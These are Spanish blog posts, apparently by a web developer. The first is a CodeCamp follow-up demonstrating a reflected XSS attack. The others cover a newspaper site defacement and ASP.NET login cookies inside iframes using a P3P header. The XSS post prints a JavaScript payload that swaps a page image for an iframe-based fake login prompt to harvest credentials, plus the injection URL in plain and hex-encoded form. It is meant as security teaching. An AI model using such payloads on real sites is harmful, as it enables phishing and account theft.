Ejemplo inyección XSS + Material

Toda una experiencia el paso por el CodeCamp y una de las sesiones fue mi introducción a las buenas prácticas para defenderse de los ataques XSS.

Un tema como este es difícil concentrarlo en 60 minutos y se me quedaron muchos ejemplos en el tintero.

Para empezar podéis bajaros la presentación y la web de pruebas que realicé para poder probar las diferentes técnicas XSS en el siguiente link. 

streaming Material streaming Video streaming PPT

Ahora terminaré uno de los ejemplos que me parece muy interesante y no pude realizar por falta del valioso tiempo.

Ejemplo de XSS indirecto para robar la información del usuario:

1. URL vulnerable al ataque: A la url se le pasa el nombre de la revista y el la foto.

urlXss

2. La página: Muestra la información directamente sin validar los datos y es vulnerable a la inyección de código script y HTML.

NoticiaXss

3. Fichero JS: Como el ataque que planteamos es bastante elaborado necesitaríamos introducir muchos texto en la url, y por ese motivo utilizaremos un recurso externo como un fichero JS para realizar el ataque.

onload = function XSS() {

    ifrm = document.createElement("IFRAME");
    ifrm.setAttribute("src", "http://localhost:51001/WebHack/Login.aspx");
    ifrm.style.width = 350 + "px";
    ifrm.style.height = 300 + "px";
    ifrm.frameBorder = "0";
    var img = document.getElementById("ctl00_ContentPlaceHolder1_foto")
    img.parentNode.appendChild(ifrm);
    img.style.display = "none";
}

Este script modifica el documento atacado “que previamente hemos estudiado” para insertar un iframe el cual utilizará una página intrusa para pedir los datos al usuario de su cuenta , haciéndole creer que su sesión ha caducado.

4. Url Modificada: Insertaremos un script en la url para mostrar el iframe en el lugar de la imagen.

ASCII:

…revista.aspx?&revista=Jaque<script src=”http://localhost/WebHack/css/Hack.js”></script>

HEX:

…revista.aspx?&revista=Jaque%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%2F%57%65%62%48%61%63%6B%2F%63%73%73%2F%48%61%63%6B%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

5. Página con la url atacada:

ataqueXss

Espero que la sesión del CodeCamp y el ejemplo hayan sido de vuestro agrado.

Cross-Posting: http://lonetcamp.com

Hackeada la página del Diario de Barcelona ???

Hace unos días José M Alarcón anunció que unos hackers habían modificado la página de Baquia.com http://geeks.ms/blogs/jalarcon/archive/2009/09/24/baquia-com-hackeado-o-eso-parece.aspx  y ahora me he enterado que han echo lo mismo con el diario de Barcelona http://diariobarcelona.com. 

Parece que últimamente las webs de noticias están soportando más visitas de las esperadas 😉 

Tendremos que vigilar más de cerca la seguridad de nuestras webs para que no nos den gato por liebre.

Editado: 

Parece ser que no es la primera vez que les pasa esto y ya huele un poco mal el asunto.

¿Al final no sera todo una estrategia viral para conseguir enlaces y visitas diarias?

¿Será un ataque real?

¿Todo vale para conseguir visitas?

 

Iframe Cross Domain Cookie

Siguiendo con el infierno de los Iframes, hoy intentaremos utilizar el control Login de ASP.NET desde la página de un cliente que utiliza nuestra aplicación embebida.


 Lo primero que podemos pensar, es en que medida nos puede llegar a afectar trabajar con un iframe con el sistema de login que utilizamos con ASP.NET, para eso tenemos que diferenciar los dos pasos esenciales en la seguridad de nuestras aplicaciones.


Autenticación


La autenticación es el proceso mediante el cual se obtienen credenciales de identificación tales como el nombre de usuario y la contraseña, al tiempo que se validan dichas credenciales ante alguna autoridad.

ASP.NET proporciona cuatro proveedores de autenticación:
















Autenticación de formularios
Autenticación de Windows
Autenticación Passport
Autenticación predeterminada


Autorización


La autorización es el proceso que verifica si el usuario autenticado tiene acceso a los recursos solicitados.

ASP.NET proporciona los siguientes proveedores de autorización:








FileAuthorization
UrlAuthorization


Más información en http://support.microsoft.com/kb/306590/es#3


Con esta definición podemos entender que nuestro control login lo que pretende hacer es Autentificar el usuario en nuestra aplicación para poder identificarlo y para eso utilizaremos la Autentificación de Formularios.


Autenticación de Formularios


La autenticación de formularios hace referencia a un sistema en el que la solicitudes no autenticadas se redirigen a un formulario de Lenguaje de marcado de hipertexto (HTML) en el que los usuarios escriben sus credenciales. Una vez que el usuario proporciona las credenciales y envía el formulario, la aplicación autentica la solicitud y el sistema emite un vale de autorización en el formulario de una cookie. Esta cookie contiene las credenciales o una clave para readquirir la identidad. Las solicitudes subsiguientes del explorador automáticamente incluyen la cookie.


Ahora que ya conocemos el mecanismo de autentificación y la manera que tiene para persistir esta información podemos suponer cual será el problema, nuestra aplicación al autentificar al usuario e intentar persistir sus credenciales se encuentra que el dominio que intenta guardar la cookie no es el mismo que esta corriendo la página web, ups ( problema de seguridad – Cross Domain Cookie ).


Miremos como funcionaría la aplicación si no utilizara un Iframe.




  1. La aplicación nos redirige al formulario de Autentificación.
  2. Introducimos nuestros datos para identificarnos.
  3. Si los datos de usuario son correctos nos redirige a la página principal mostrándonos el nombre de usuario

Que pasa cuando hacemos lo mismo desde un iFrame:




  1. La aplicación nos redirige al formulario de Autentificación.
  2. Introducimos nuestros datos para identificarnos.
  3. Como la identificación del usuario ha sido correcto nos redirige a la página principal pero no nos muestra la información del usuario, porque no ha podido guardar la cookie con sus datos.

Para solucionar este problema nos viene a rescatar P3P  “un lenguaje estándar que ofrece a los usuarios una forma sencilla y automatizada de controlar en mayor medida el uso que se hace de su información personal en los sitios Web que visitan”.


Tenemos dos opciones a la hora de utilizar p3p para poder guardar la cookie de usuario con éxito.




  1. Crear una cabecera en nuestro directorio virtual para nuestra aplicación.


  2. Crear la cabecera en el formulario de Login para que solo afecte a esa página.

Nosotros utilizaremos la segunda opción.


    protected void Page_Load(object sender, EventArgs e)


    {


        HttpContext.Current.Response.AddHeader(“p3p”, “CP=”CAO PSA OUR””);


    }



Ya le podemos decir a nuestro cliente que podemos controlar a los usuarios registrados en nuestra aplicación embebida en su sistema. 😉


Cross-Posting desde www.lonetcamp.com